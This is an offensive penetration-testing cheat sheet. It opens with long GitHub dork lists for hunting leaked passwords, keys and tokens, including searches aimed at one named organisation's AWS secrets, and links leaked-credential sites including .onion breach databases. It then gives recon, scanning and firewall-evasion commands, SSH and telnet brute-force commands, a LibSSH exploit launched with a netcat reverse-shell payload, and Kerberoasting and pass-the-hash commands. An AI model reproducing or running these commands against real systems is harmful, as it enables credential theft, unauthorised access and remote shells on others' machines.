"aws_secret"
"aws_token"
"AWSSecretKey"
"bashrc password"
"bucket_password"
"client_secret"
"cloudfront"
"codecov_token"
"config"
"conn.login"
"connectionstring"
"consumer_key"
"credentials"
"database_password"
"db_password"
"db_username"
"dbpasswd"
"dbpassword"
"dbuser"
"dot-files"
"dotfiles"
"encryption_key"
"fabricApiSecret"
"fb_secret"
"firebase"
"ftp"
"gh_token"
"github_key"
"github_token"
"gitlab"
"gmail_password"
"gmail_username"
"herokuapp"
"internal"
"irc_pass"
"JEKYLL_GITHUB_TOKEN"
"key"
"keyPassword"
"ldap_password"
"ldap_username"
"login"
"mailchimp"
"mailgun"
"master_key"
"mydotfiles"
"mysql"
"node_env"
"npmrc _auth"
"oauth_token"
"pass"
"passwd"
"password"
"passwords"
"pem private"
"preprod"
"private_key"
"prod"
"pwd"
"pwds"
"rds.amazonaws.com password"
"redis_password"
"root_password"
"secret"
"secret.password"
"secret_access_key"
"secret_key"
"secret_token"
"secrets"
"secure"
"security_credentials"
"send.keys"
"send_keys"
"sendkeys"
"SF_USERNAME salesforce"
"sf_username"
"site.com" FIREBASE_API_JSON=
"site.com" vim_settings.xml
"slack_api"
"slack_token"
"sql_password"
"ssh"
"ssh2_auth_password"
"sshpass"
"staging"
"stg"
"storePassword"
"stripe"
"swagger"
"testuser"
"token"
"x-api-key"
"xoxb "
"xoxp"
Jenkins
OTP
oauth
authoriztion
password
pwd
ftp
dotfiles
JDBC
key-keys
send_key-keys
send,key-keys
token
user
login-singin
passkey-passkeys
pass
secret
SecretAccessKey
app_AWS_SECRET_ACCESS_KEY AWS_SECRET_ACCESS_KEY
credentials
config
security_credentials
connectionstring
ssh2_auth_password
DB_PASSWORD
[WFClient] Password= extension:ica
access_key
bucket_password
dbpassword
dbuser
extension:avastlic "support.avast.com"
extension:bat
extension:cfg
extension:env
extension:exs
extension:ini
extension:json api.forecast.io
extension:json googleusercontent client_secret
extension:json mongolab.com
extension:pem
extension:pem private
extension:ppk
extension:ppk private
extension:properties
extension:sh
extension:sls
extension:sql
extension:sql mysql dump
extension:sql mysql dump password
extension:yaml mongolab.com
extension:zsh
filename:.bash_history
filename:.bash_history DOMAIN-NAME
filename:.bash_profile aws
filename:.bashrc mailchimp
filename:.bashrc password
filename:.cshrc
filename:.dockercfg auth
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.esmtprc password
filename:.ftpconfig
filename:.git-credentials
filename:.history
filename:.htpasswd
filename:.netrc password
filename:.npmrc _auth
filename:.pgpass
filename:.remote-sync.json
filename:.s3cfg
filename:.sh_history
filename:.tugboat NOT _tugboat
filename:_netrc password
filename:apikey
filename:bash
filename:bash_history
filename:bash_profile
filename:bashrc
filename:beanstalkd.yml
filename:CCCam.cfg
filename:composer.json
filename:config
filename:config irc_pass
filename:config.json auths
filename:config.php dbpasswd
filename:configuration.php JConfig password
filename:connections
filename:connections.xml
filename:constants
filename:credentials
filename:credentials aws_access_key_id
filename:cshrc
filename:database
filename:dbeaver-data-sources.xml
filename:deployment-config.json
filename:dhcpd.conf
filename:dockercfg
filename:environment
filename:express.conf
filename:express.conf path:.openshift
filename:filezilla.xml
filename:filezilla.xml Pass
filename:git-credentials
filename:gitconfig
filename:global
filename:history
filename:htpasswd
filename:hub oauth_token
filename:id_dsa
filename:id_rsa
filename:id_rsa or filename:id_dsa
filename:idea14.key
filename:known_hosts
filename:logins.json
filename:makefile
filename:master.key path:config
filename:netrc
filename:npmrc
filename:pass
filename:passwd path:etc
filename:pgpass
filename:prod.exs
filename:prod.exs NOT prod.secret.exs
filename:prod.secret.exs
filename:proftpdpasswd
filename:recentservers.xml
filename:recentservers.xml Pass
filename:robomongo.json
filename:s3cfg
filename:secrets.yml password
filename:server.cfg
filename:server.cfg rcon password
filename:settings
filename:settings.py SECRET_KEY
filename:sftp-config.json
filename:sftp-config.json password
filename:sftp.json path:.vscode
filename:shadow
filename:shadow path:etc
filename:spec
filename:sshd_config
filename:token
filename:tugboat
filename:ventrilo_srv.ini
filename:WebServers.xml
filename:wp-config
filename:wp-config.php
filename:zhrc
HEROKU_API_KEY language:json
HEROKU_API_KEY language:shell
HOMEBREW_GITHUB_API_TOKEN language:shell
jsforce extension:js conn.login
language:yaml -filename:travis
msg nickserv identify filename:config
org:Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "bucket_name"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_BUCKET"
org:Target "S3_ENDPOINT"
org:Target "S3_SECRET_ACCESS_KEY"
password
path:sites databases password
private -language:java
PT_TOKEN language:bash
redis_password
root_password
secret_access_key
SECRET_KEY_BASE=
shodan_api_key language:python
WORDPRESS_DB_PASSWORD=
xoxp OR xoxb OR xoxa
s3.yml
.exs
beanstalkd.yml
deploy.rake
.sls
— — — — — — — — — — — — — — — — — — -BASH — — — — — — — — — —
language:bash password
language:bash pwd
language:bash ftp
language:bash dotfiles
language:bash JDBC
language:bash key-keys
language:bash send_key-keys
language:bash send,key-keys
language:bash token
language:bash user
language:bash login-singin
language:bash passkey-passkeys
language:bash pass
language:bash secret
language:bash credentials
language:bash config
language:bash security_credentials
language:bash connectionstring
language:bash ssh2_auth_password
— — — — — — — — — — — — — — — — — — -PYTHON — — — — — — — — —
language:python password
language:python pwd
language:python ftp
language:python dotfiles
language:python JDBC
language:python key-keys
language:python send_key-keys
language:python send,key-keys
language:python token
language:python user
language:python login-singin
language:python passkey-passkeys
language:python pass
language:python secret
language:python credentials
language:python config
language:python security_credentials
language:python connectionstring
language:python ssh2_auth_password
org:facebookresearch https://
org:facebookresearch http://
org:facebookresearch ldap
org:facebookresearch ftp
org:facebookresearch sftp
org:facebookresearch host:
org:facebookresearch login
Shodan
Dorks
port:"9200" elastic
product:"docker"
product:"kubernetes"
hostname:"target.com"
host:"10.10.10.10"
# Spring boot servers, look for /env or /heapdump
org:YOUR_TAGET http.favicon.hash:116323821
ASN/CIDR Tools
# Company string name to CIDR
# https://github.com/dhn/spk
spk -json -s "Google"
# Versatile tool with multiple input options and output formats
# https://github.com/projectdiscovery/asnmap
asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com,twitter.com -a AS394161
# https://github.com/nitefood/asn
asn -n 8.8.8.8
# https://github.com/j3ssie/metabigor
echo "company" | metabigor net --org
echo "ASN1111" | metabigor net --asn
# https://github.com/yassineaboukir/Asnlookup
python asnlookup.py -m -o <Organization>
# https://github.com/harleo/asnip
asnip -t domain.com -p
# https://github.com/projectdiscovery/mapcidr
echo 10.10.10.0/24 | mapcidr
# https://github.com/eslam3kl/3klector
python 3klector.py -t company
# https://github.com/SpiderLabs/HostHunter
python3 hosthunter.py targets.txt
# Website (with API)
https://asnlookup.com/
Credentials leaks
# pwndb
# https://github.com/davidtavarez/pwndb
python3 pwndb.py --target asd@asd.com
# Websites
https://link-base.org/index.php
http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/
http://pwndb2am4tzkvold.onion
https://weleakinfo.to/
https://www.dehashed.com/search?query=
https://haveibeenpwned.com
https://breachchecker.com
https://vigilante.pw/
https://leak.sx/
https://intelx.io
https://search.illicit.services/
https://breachdirectory.org/
breachdirectory.org + (hashes.com || md5decrypt.net || crackstation.net)# Nice combination
# Check hashes with this tool
https://github.com/jackrendor/jhf
Email tools
# https://github.com/SimplySecurity/SimplyEmail
./SimplyEmail.py
pip3 install mailspoof
sudo mailspoof -d domain.com
# Test email spoof
https://emkei.cz/
# Find emails in an org
https://hunter.io
https://snov.io/email-finder
https://app.snov.io/domain-search
https://hunter.io/
# https://github.com/sham00n/buster
buster -e target@example.com
# https://github.com/m4ll0k/Infoga
python infoga.py
# https://github.com/martinvigo/email2phonenumber
python email2phonenumber.py scrape -e target@email.com
# https://github.com/jkakavas/creepy/
# https://github.com/Josue87/EmailFinder
emailfinder -d domain.com
# https://github.com/laramies/theHarvester
python3 theHarvester.py -d domain.com -b "linkedin"
GIT tools
# https://github.com/obheda12/GitDorker
python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d dorks/DORKFILE -o target
# https://github.com/dxa4481/truffleHog
trufflehog https://github.com/Plazmaz/leaky-repo
trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo
# https://github.com/eth0izzle/shhgit
shhgit --search-query AWS_ACCESS_KEY_ID=AKIA
# https://github.com/d1vious/git-wild-hunt
python git-wild-hunt.py -s "extension:json filename:creds language:JSON"
# https://shhgit.darkport.co.uk/
# GitLab (API token required)
# https://github.com/codeEmitter/token-hunter
./token-hunter.py -g 123456
Metadata
# https://github.com/Josue87/MetaFinder
metafinder -d "domain.com" -l 10 -go -bi -ba -o united
Social Media
# Twitter
# https://github.com/twintproject/twint
twint -u username
# Google account
# https://github.com/mxrch/ghunt
python hunt.py myemail@gmail.com
# Instagram
# https://github.com/th3unkn0n/osi.ig
python3 main.py -u username
# Public GDrive docs
https://www.dedigger.com/#gsc.tab=0
# Websites
emailrep.io # Accounts registered by email
tinfoleak.com # Twitter
mostwantedhf.info # Skype
searchmy.bio # Instagram
search.carrot2.org # Results grouped by topic
boardreader.com # forums
searchcode.com # search by code in repositories
swisscows.com # semantic search engine
publicwww.com # search by source page code
psbdmp.ws # search in pastebin
kribrum.io # social-media search engine
whatsmyname.app
Root domains
Basic
# https://github.com/OWASP/Amass
amass intel -d domain.com -whois
# Search on Google
https://google.com/search?q=united+airlines
# Analyze owners on domainbigdata
https://iqwhois.com/
Reverse whois
https://viewdns.info/reversewhois/?q=United+Airlines
https://tools.whoisxmlapi.com/reverse-whois-search
ASN
https://bgp.he.net/search?search%5Bsearch%5D=united+airlines&commit=Search
whois -h whois.radb.net -- '-i origin AS11535' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq
whois -h whois.radb.net -- '-i origin AS20461' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq | mapcidr -silent | dnsx -ptr -resp-only -retry 3 -silent
Favicon
# https://github.com/pielco11/fav-up
python3 favUp.py -ff ~/favicon.ico --shodan-cli
# https://github.com/devanshbatham/FavFreak
cat urls.txt | python3 favfreak.py
# https://faviconhasher.herokuapp.com/
# https://www.shodan.io/search?query=http.favicon.hash%3A-382492124
# https://github.com/edoardottt/favirecon
favirecon -u https://target.com/ -v
Google Analytics ID
https://builtwith.com/relationships/united.com
https://builtwith.com/relationships/tag/UA-29214177
https://api.hackertarget.com/analyticslookup/?q=united.com
https://api.hackertarget.com/analyticslookup/?q=UA-16316580
DNS manual recon
dnsrecon -d www.example.com -a
dnsrecon -d www.example.com -t axfr
dnsrecon -d
dnsrecon -d www.example.com -D -t brt
dig www.example.com + short
dig www.example.com MX
dig www.example.com NS
dig www.example.com> SOA
dig www.example.com ANY +noall +answer
dig -x www.example.com
dig -4 www.example.com (For IPv4)
dig -6 www.example.com (For IPv6)
dig www.example.com mx +noall +answer example.com ns +noall +answer
dig -t AXFR www.example.com
dig axfr @10.11.1.111 example.box
dnsenum 10.11.1.111
Reverse IP search
# Get domain from IP
# https://reverse-ip.whoisxmlapi.com/
# https://github.com/projectdiscovery/dnsx
cat ips.txt | dnsx -ptr -resp-only -silent -retry 3
TLD bruteforcing
# TLD bruteforcing tool
https://github.com/Sybil-Scan/TLDbrute
Subdomain Enum
Passive sources
# https://github.com/OWASP/Amass
# https://github.com/OWASP/Amass/blob/master/examples/config.ini
amass enum -passive -d domain.com
# https://github.com/projectdiscovery/subfinder
# https://github.com/projectdiscovery/subfinder#post-installation-instructions
subfinder -d domain.com -all -silent
# https://github.com/tomnomnom/assetfinder
assetfinder example.com
# https://github.com/tomnomnom/waybackurls
# https://github.com/tomnomnom/unfurl
echo domain.com | waybackurls | unfurl -u domains
# https://github.com/lc/gau
# https://github.com/tomnomnom/unfurl
gau --subs example.com | unfurl -u domains
## Cert Transparency
# https://certificate.transparency.dev/
# https://crt.sh/
# https://github.com/glebarez/cero
cero example.com
# https://github.com/UnaPibaGeek/ctfr
python3 ctfr.py -d domain.com
# https://github.com/gwen001/github-subdomains
github-subdomains -d example.com -t tokens.txt -o output.txt
# https://github.com/christophetd/censys-subdomain-finder
python3 censys-subdomain-finder.py example.com
# https://github.com/SmoZy92/Shodomain
python shodomain.py <SHODAN-API-KEY> example.com
# https://github.com/Cgboal/SonarSearch
crobat -s example.com
Active DNS resolution
# Generate custom resolvers list, always
# https://github.com/vortexau/dnsvalidator
dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 200
# https://github.com/d3mondev/puredns
puredns resolve subdomains.txt -r ~/Tools/resolvers.txt
## BF
# https://github.com/d3mondev/puredns
puredns bruteforce ~/Tools/subdomains.txt united.com -r ~/Tools/resolvers.txt
# https://github.com/projectdiscovery/shuffledns
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
Alterations and permutations
#https://github.com/Josue87/gotator
gotator -sub subdomains/subdomains.txt -perm permutations_list.txt -depth 1 -numbers 10 -mindup -adv -md
Crawling
# 1st resolve subdomains on valid websites
# https://github.com/projectdiscovery/httpx
cat subdomains.txt | httpx -follow-host-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -o webs_info.txt
# Clean output
cat webs_info.txt | cut -d ' ' -f1 | grep ".domain.com" | sort -u > websites.txt
# Crawl them
# https://github.com/jaeles-project/gospider
gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt
# Clean output
# https://github.com/tomnomnom/unfurl
cat urls.txt | sed '/^.\{2048\}./d' | grep -Eo 'https?://[^ ]+' | sed 's/]$//' | unfurl -u domains | grep ".domain.com"
DNS records
# https://github.com/projectdiscovery/dnsx
dnsx -retry 3 -a -aaaa -cname -ns -ptr -mx -soa -resp -silent -l subdomains.txt
DNS wordlists
# https://gist.githubusercontent.com/six2dez/a307a04a222fab5a57466c51e1569acf/raw
# https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt
# https://gist.github.com/jhaddix/f64c97d0863a78454e44c2f7119c2a6a
Other techniques
Google Analytics ID
# https://github.com/Josue87/AnalyticsRelationships
cat subdomains.txt | analyticsrelationships
Subdomain discovery with Burp
Navigate through target main website with Burp:
- Without passive scanner
- Set forms auto submit
- Scope in advanced, any protocol and one keyword ("tesla")
- Last step, select all sitemap, Engagement Tools -> Analyze target
Subdomain Takeover
Explanation
- Domain name (sub.example.com) uses a CNAME record for another domain (sub.example.com CNAME anotherdomain.com).
- At some point, anotherdomain.com expires and is available for anyone's registration.
- Since the CNAME record is not removed from the DNS zone of example.com, anyone who records anotherdomain.com has full control over sub.example.com until the DNS record is present.
Resources
https://0xpatrik.com/takeover-proofs/
https://github.com/EdOverflow/can-i-take-over-xyz
Webs recon
Resolution
# https://github.com/projectdiscovery/httpx
cat subdomains/subdomains.txt | httpx -follow-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -no-color -o websites.txt
WAF Checks
# https://github.com/EnableSecurity/wafw00f
wafw00f -i websites.txt
# IP Wafs/CDN lists
https://github.com/MISP/misp-warninglists
CMS
# https://github.com/Tuhinshubhra/CMSeeK
tr '\n' ',' < websites.txt > cms_test.txt
python3 cmseek.py -l cms_test.txt --batch -r
Web screenshot
# https://github.com/sensepost/gowitness
gowitness file -f websites.txt
gowitness report serve -D gowitness.sqlite3
Fuzzing
# https://github.com/ffuf/ffuf
ffuf -mc all -fc 404 -ac -sf -s -w wordlist.txt -u https://www.domain.com/FUZZ
URLs
URL extraction
# https://github.com/jaeles-project/gospider
gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt
# https://github.com/lc/gau
cat websites.txt | gau -subs
# https://github.com/tomnomnom/waybackurls
cat websites.txt | waybackurls
# https://github.com/gwen001/github-endpoints
github-endpoints -q -k -d united.com -t tokens_github.txt
# https://github.com/Josue87/roboxtractor
cat webs.txt | roboxtractor -m 1 -wb
Filtering
# https://github.com/tomnomnom/qsreplace
cat urls.txt | qsreplace -a
# https://github.com/s0md3v/uro
cat urls.txt | uro
Patterns
# https://github.com/tomnomnom/gf
# https://github.com/1ndianl33t/Gf-Patterns
gf sqli urls.txt
JS
# https://github.com/w9w/JSA
cat urls.txt | python3 jsa.py
# https://github.com/lc/subjs
cat js.txt | subjs | httpx
# https://github.com/GerbenJavado/LinkFinder
python3 linkfinder.py -d -i https://domain.com/whatever.js -o cli
Wordlists generation
# https://github.com/tomnomnom/unfurl
cat urls.txt | unfurl -u keys
cat urls.txt | unfurl -u values
Network Scanning
IP resolution
# https://github.com/Josue87/resolveDomains
resolveDomains -d subdomains.txt
Netdiscover
netdiscover -i eth0
netdiscover -r 10.11.1.1/24
Nmap
nmap -sn 10.11.1.1/24
nmap -sn 10.11.1.1-253
nmap -sn 10.11.1.*
NetBios
nbtscan -r 10.11.1.1/24
Ping Sweep - Bash
for i in {1..254} ;do (ping -c 1 172.21.10.$i | grep "bytes from" &) ;done
Ping Sweep - Windows
for /L %i in (1,1,255) do @ping -n 1 -w 200 172.21.10.%i > nul && echo 192.168.1.%i is up.
Host Scanning
nmap
# Fast simple scan
nmap 10.11.1.111
# Nmap ultra fast
nmap 10.11.1.111 --max-retries 1 --min-rate 1000
# Get open ports
nmap -p - -Pn -n 10.10.10.10
# Comprehensive fast and accurate
nmap --top-ports 200 -sV -n --max-retries 2 -Pn --open -iL ips.txt -oA portscan_active
# Get sV from ports
nmap -pXX,XX,XX,XX,XX -Pn -sV -n 10.10.10.10
# Full complete slow scan with output
nmap -v -A -p- -Pn --script vuln -oA full 10.11.1.111
# Network filtering evasion
nmap --source-port 53 -p 5555 10.11.1.111
# If work, set IPTABLES to bind this port
iptables -t nat -A POSTROUTING -d 10.11.1.111 -p tcp -j SNAT --to :53
# Scan for UDP
nmap 10.11.1.111 -sU
nmap -sU -F -Pn -v -d -sC -sV --open --reason -T5 10.11.1.111
# FW evasion
nmap -f <IP>
nmap --mtu 24 <IP>
nmap --data-length 30 <IP>
nmap --source-port 53 <IP>
# Nmap better speed flags
--max-rtt-timeout: Time response per probe
--script-timeout: Time response per script
--host-timeout: Time response for host
--open: Avoid detection if filtered or closed
--min-rate
shodan
# https://cli.shodan.io/
shodan host 151.101.1.68
Packet Scanning
tcpdump
tcpdump -i eth0
tcpdump -c -i eth0
tcpdump -A -i eth0
tcpdump -w 0001.pcap -i eth0
tcpdump -r 0001.pcap
tcpdump -n -i eth0
tcpdump -i eth0 port 22
tcpdump -i eth0 -src 172.21.10.X
tcpdump -i eth0 -dst 172.21.10.X
# Online service
https://packettotal.com/
Packet strings analyzer
# https://github.com/lgandx/PCredz
./Pcredz -f file-to-parse.pcap
./Pcredz -d /tmp/pcap-directory-to-parse/
./Pcredz -i eth0 -v
Files
Common
# Check real file type
file file.xxx
# Analyze strings
strings file.xxx
strings -a -n 15 file.xxx # Check the entire file and outputs strings longer than 15 chars
# Check embedded files
binwalk file.xxx # Check
binwalk -e file.xxx # Extract
# Check as binary file in hex
ghex file.xxx
# Check metadata
exiftool file.xxx
# Stego tool for multiple formats
wget https://embeddedsw.net/zip/OpenPuff_release.zip
unzip OpenPuff_release.zip -d ./OpenPuff
wine OpenPuff/OpenPuff_release/OpenPuff.exe
# Compressed files
fcrackzip file.zip
# https://github.com/priyankvadaliya/Zip-Cracker-
python zipcracker.py -f testfile.zip -d passwords.txt
python zipcracker.py -f testfile.zip -d passwords.txt -o extractdir
# Office documents
https://github.com/assafmo/xioc
# Zip files in website
pip install remotezip
# list contents of a remote zip file
remotezip -l "http://site/bigfile.zip"
# extract file.txt from a remote zip file
remotezip "http://site/bigfile.zip" "file.txt"
# Grep inside any files
# https://github.com/phiresky/ripgrep-all
rga "whatever" folder/
Disk files
# guestmount can mount any kind of disk file
sudo apt-get install libguestfs-tools
guestmount --add yourVirtualDisk.vhdx --inspector --ro /mnt/anydirectory
Audio
# Check spectrogram
wget https://code.soundsoftware.ac.uk/attachments/download/2561/sonic-visualiser_4.0_amd64.deb
dpkg -i sonic-visualiser_4.0_amd64.deb
# Check for Stego
hideme stego.mp3 -f && cat output.txt #AudioStego
Images
# Stego
wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
chmod +x stegsolve.jar
java -jar stegsolve.jar
# Stegpy
stegpy -p file.png
# Check png corrupted
pngcheck -v image.jpeg
# Check what kind of image is
identify -verbose image.jpeg
# Stegseek
# https://github.com/RickdeJager/stegseek
stegseek --seed file.jpg
stegseek file.jpg rockyou.txt
SSL/TLS
DROWN
# Check for "SSLv2 supported"
nmap –p- –sV –sC example.com
TLS_FALLBACK_SCSV
# Check in the lower port
openssl s_client –tls1 -fallback_scsv -connect example.com:443
# - Response:
# tlsv1 alert inappropriate fallback:s3_pkt.c:1262:SSL alert number 86
BEAST
# TLSv1.0 and CBC ciphers
openssl s_client -[sslv3/tls1] -cipher CBC_CIPHER -connect example.com:443
LUCKY13
openssl s_client -cipher CBC_CIPHER -connect example.com:443
Sweet32
openssl s_client -cipher 3DES -connect example.com:443
Logjam
# Check the "Server Temp Key" response is bigger than 1024 (only in OpenSSL 1.0.2 or better)
openssl s_client -connect www.example.com:443 -cipher "EDH"
SSLv2 Support
# If is supported this will return the server certificate information if not, error
openssl s_client –ssl2 -connect example.com:443
SSLv3 Support
# If is supported this will return the server certificate information if not, error
openssl s_client -ssl3 -connect google.com:443
Cipher suites
# Cipher Suites
nmap --script ssl-enum-ciphers -p 443 example.com
# - Anon cypher (fail)
openssl s_client -cipher aNULL -connect example.com:443
# - DES Cipher (fail)
openssl s_client -cipher DES -connect example.com:443
# - 3DES Cipher (fail)
openssl s_client -cipher 3DES -connect example.com:443
# - Export Cipher (fail)
openssl s_client -cipher EXPORT -connect example.com:443
# - Low Cipher (fail)
openssl s_client -cipher LOW -connect example.com:443
# - RC4 Cipher (fail)
openssl s_client -cipher RC4 -connect example.com:443
# - NULL Cipher (fail)
openssl s_client -cipher NULL -connect example.com:443
# - Perfect Forward Secrecy Cipher (This should NOT fail):
openssl s_client -cipher EECDH, EDH NULL -connect example.com:443
Secure renegotiation
# Check secure renegotiation is not supported
# If not, send request in the renegotiation
# Once sent, if it's vulnerable it shouldn't return error
openssl s_client -connect example.com:443
HEAD / HTTP/1.0
R
# <Enter or Return key>
CRIME
# Check for "Compression: NONE"
openssl s_client -connect example.com:443
BREACH
# If the response contains encoded data, host is vulnerable
openssl s_client -connect example.com:443
GET / HTTP/1.1
Host: example.com
Accept-Encoding: compress, gzip
Heartbleed
# Heartbleed
nmap -p 443 --script ssl-heartbleed --script-args vulns.showall example.com
# Heartbleed checker oneliner from sites list
cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done
Change cipher spec injection
nmap -p 443 --script ssl-ccs-injection example.com
Cipher order enforcement
# Choose a protocol and 2 different ciphers, one stronger than other
# Make 2 request with different cipher order anc check in the response if the cipher is the first of the request in both cases
nmap -p 443 --script ssl-enum-ciphers example.com
openssl s_client –tls1_2 –cipher ‘AES128-GCM-SHA256:AES128-SHA’ –connect contextis.co.uk:443
openssl s_client –tls1_2 –cipher ‘AES128-SHA:AES128-GCM-SHA256’ –connect contextis.co.uk:443
Ports
General
AIO Penetration Testing Methodology - 0DAYsecurity.com
Port 21 - FTP
nmap --script ftp-* -p 21 10.11.1.111
Port 22 - SSH
- If you have usernames test login with username:username
- Vulnerable Versions to user enum: <7.7
# Enum SSH
# Get version
nmap 10.11.1.1 -p22 -sV
# Get banner
nc 10.11.1.1 22
# Get login banner
ssh root@10.11.11.1
# Get algorythms supporteed
nmap -p22 10.11.1.1 --script ssh2-enum-algos
# Check weak keys
nmap-p22 10.2.1.1 --script ssh-hostkey --script-args ssh_hostkey=full
# Check auth methods
nmap -p22 10.11.1.1 --script ssh-auth-methods --script-args="ssh.user=admin"
# User can ask to execute a command right after authentication before it’s default command or shell is executed
$ ssh -v user@10.10.1.111 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 10.10.1.111 ([10.10.1.1114]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(user) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
# Check Auth Methods:
$ ssh -v 10.10.1.111
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
# Force Auth Method:
$ ssh -v 10.10.1.111 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
# BruteForce:
patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111
# LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
# Id
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id
# Reverse
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f"
# SSH FUZZ
# https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt
# cpan Net::SSH2
./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user
use auxiliary/fuzzers/ssh/ssh_version_2
# SSH-AUDIT
# https://github.com/arthepsy/ssh-audit
# Enum users < 7.7:
# https://www.exploit-db.com/exploits/45233
https://github.com/CaioCGH/EP4-redes/blob/master/attacker/sshUsernameEnumExploit.py
python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"
# SSH Leaks:
https://shhgit.darkport.co.uk/
# SSH bruteforce
# https://github.com/kitabisa/ssb
Port 23 - Telnet
# Get banner
telnet 10.11.1.110
# Bruteforce password
patator telnet_login host=10.11.1.110 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:'
Port 25 - SMTP
nc -nvv 10.11.1.111 25
HELO foo
telnet 10.11.1.111 25
VRFY root
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111
smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111
# SMTP relay
msfconsole
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS <IP or File>
set MAILFROM <PoC email address>
set MAILTO <your email address>
run
# Send email unauth:
MAIL FROM:admin@admin.com
RCPT TO:DestinationEmail@DestinationDomain.com
DATA
test
.
Receive:
250 OK
Port 43 - Whois
whois -h 10.10.1.111 -p 43 "domain.com"
echo "domain.com" | nc -vn 10.10.1.111 43
whois -h 10.10.1.111 -p 43 "a') or 1=1#"
Port 53 - DNS
# Transfer zone
dig AXFR domain.com @10.10.10.10
# dig +multi AXFR @ns1.insecuredns.com insecuredns.com
dnsrecon -t axfr -d domain
fierce -dns domain.com
Port 69 - UDP - TFTP
- Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more.
- Same checks as FTP Port 21.
nmap -p69 --script=tftp-enum.nse 10.11.1.111
Port 79 - Finger
nc -vn 10.11.1.111 79
echo "root" | nc -vn 10.11.1.111 79
# User enumeration
finger @10.11.1.111 #List users
finger admin@10.11.1.111 #Get info of user
finger user@10.11.1.111 #Get info of user
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
Port 88 - Kerberos
Check Kerberos dedicated section
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" IP
use auxiliary/gather/kerberos_enumusers # MSF
# Check for Kerberoasting:
GetNPUsers.py DOMAIN-Target/ -usersfile user.txt -dc-ip <IP> -format hashcat/john
# GetUserSPNs
ASREPRoast:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
impacket-GetUserSPNs <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# Kerberoasting:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
# Overpass The Hash/Pass The Key (PTK):
python3 getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
python3 getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
python3 getTGT.py <domain_name>/<user_name>:[password]
# Using TGT key to excute remote commands from the following impacket scripts:
python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
# https://www.tarlogic.com/blog/como-funciona-kerberos/
# https://www.tarlogic.com/blog/como-atacar-kerberos/
python kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt
